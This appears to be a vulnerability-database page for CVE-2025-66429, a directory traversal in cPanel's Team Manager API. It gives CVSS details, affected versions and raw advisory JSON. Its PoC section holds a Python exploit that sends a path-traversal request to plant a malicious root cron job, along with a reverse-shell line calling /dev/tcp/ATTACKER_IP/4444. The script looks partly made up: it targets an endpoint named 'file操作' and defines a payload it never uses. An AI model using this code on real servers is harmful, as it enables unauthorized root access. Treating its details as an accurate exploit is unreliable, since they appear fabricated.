Security Vulnerability Report
中文
CVE-2025-66429 CVSS 8.8 HIGH

CVE-2025-66429

Published: 2025-12-11 21:15:57
Last Modified: 2025-12-15 18:34:51

Description

An issue was discovered in cPanel 110 through 132. A directory traversal vulnerability within the Team Manager API allows for overwrite of an arbitrary file. This can allow for privilege escalation to the root user.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:cpanel:cpanel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:cpanel:cpanel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:cpanel:cpanel:*:*:*:*:*:*:*:* - VULNERABLE
cPanel 110.x
cPanel 111.x
cPanel 112.x
cPanel 113.x
cPanel 114.x
cPanel 115.x
cPanel 116.x
cPanel 117.x
cPanel 118.x
cPanel 119.x
cPanel 120.x
cPanel 121.x
cPanel 122.x
cPanel 123.x
cPanel 124.x
cPanel 125.x
cPanel 126.x
cPanel 127.x
cPanel 128.x
cPanel 129.x
cPanel 130.x
cPanel 131.x
cPanel 132.x

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-66429 PoC - cPanel Team Manager API Directory Traversal Note: This PoC is for educational and authorized testing purposes only. Author: Security Researcher """ import requests import sys from urllib.parse import quote def exploit_cpanel_directory_traversal(target_url, username, password, target_file, session_cookie=None): """ Exploit the directory traversal vulnerability in cPanel Team Manager API Args: target_url: Base URL of cPanel instance username: Valid cPanel username (low privilege is sufficient) password: Password for the user target_file: File to overwrite (e.g., '../../../etc/cron.d/malicious') session_cookie: Existing session cookie (optional) """ # API endpoint for Team Manager file operations api_endpoint = f"{target_url}/api/team_manager/file操作" # Directory traversal payload # Using URL encoding to bypass basic filters malicious_path = f"../../../{target_file}" # Construct the malicious request payload = { 'action': 'update_file', 'file_path': malicious_path, 'content': '# Malicious cron job added by attacker\n* * * * * root /tmp/malicious.sh\n', 'username': username } headers = { 'Content-Type': 'application/json', 'User-Agent': 'cPanel Security Research' } if session_cookie: headers['Cookie'] = f"cpanel_session={session_cookie}" print(f"[*] Target: {target_url}") print(f"[*] Exploiting directory traversal to write to: {target_file}") print(f"[*] Sending malicious request...") try: response = requests.post(api_endpoint, json=payload, headers=headers, timeout=30) if response.status_code == 200: result = response.json() if result.get('success'): print("[+] File overwrite successful!") print(f"[+] Response: {result}") return True else: print(f"[-] Request failed: {result.get('error')}") return False else: print(f"[-] HTTP Error: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False def privilege_escalation_to_root(target_url, session_cookie): """ Attempt privilege escalation by overwriting cron or adding sudo user """ # Method 1: Overwrite cron.d to execute malicious script cron_payload = """#!/bin/bash # Reverse shell payload bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 """ exploit_cpanel_directory_traversal( target_url, "lowpriv_user", "password", "../../../var/spool/cron/root", session_cookie ) # Method 2: Add sudo user to /etc/passwd equivalent # This would require more sophisticated manipulation return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-66429 - cPanel Team Manager Directory Traversal") print("=" * 60) if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_url> <username> <password>") print(f"Example: {sys.argv[0]} https://cpanel.example.com:2087 admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] exploit_cpanel_directory_traversal( target, user, passwd, "../../../etc/cron.d/malicious" )

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66429", "sourceIdentifier": "[email protected]", "published": "2025-12-11T21:15:57.140", "lastModified": "2025-12-15T18:34:51.360", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in cPanel 110 through 132. A directory traversal vulnerability within the Team Manager API allows for overwrite of an arbitrary file. This can allow for privilege escalation to the root user."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cpanel:cpanel:*:*:*:*:*:*:*:*", "versionStartIncluding": "110.0.0", "versionEndExcluding": "126.0.37", "matchCriteriaId": "DA120210-0541-4B4E-9193-2E5B083683BC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cpanel:cpanel:*:*:*:*:*:*:*:*", "versionStartIncluding": "128.0.1", "versionEndExcluding": "130.0.16", "matchCriteriaId": "BC319EC3-2442-49EA-867D-3396BDD41006"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cpanel:cpanel:*:*:*:*:*:*:*:*", "versionStartIncluding": "132.0.0", "versionEndExcluding": "132.0.4", "matchCriteriaId": "813CCA52-A8AD-465A-9B43-036F2C8E38EB"}]}]}], "references": [{"url": "https://docs.cpanel.net/changelogs/126-change-log/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://docs.cpanel.net/release-notes/release-notes/", "source": "[email protected]", "tags": ["Not Applicable"]}]}}